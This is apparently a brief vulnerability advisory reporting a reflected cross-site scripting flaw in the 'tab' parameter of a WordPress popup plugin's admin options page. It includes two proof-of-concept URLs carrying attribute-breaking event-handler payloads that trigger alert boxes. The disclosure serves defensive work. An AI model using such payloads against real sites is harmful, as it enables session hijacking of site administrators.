The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
/wp-admin/admin.php?page=popup-wp-supsystic&tab;=“onmouseover=alert(1)// /wp-admin/admin.php?page=popup-wp-supsystic&tab;=”+style=animation-name:rotation+onanimationstart=alert(/XSS/)//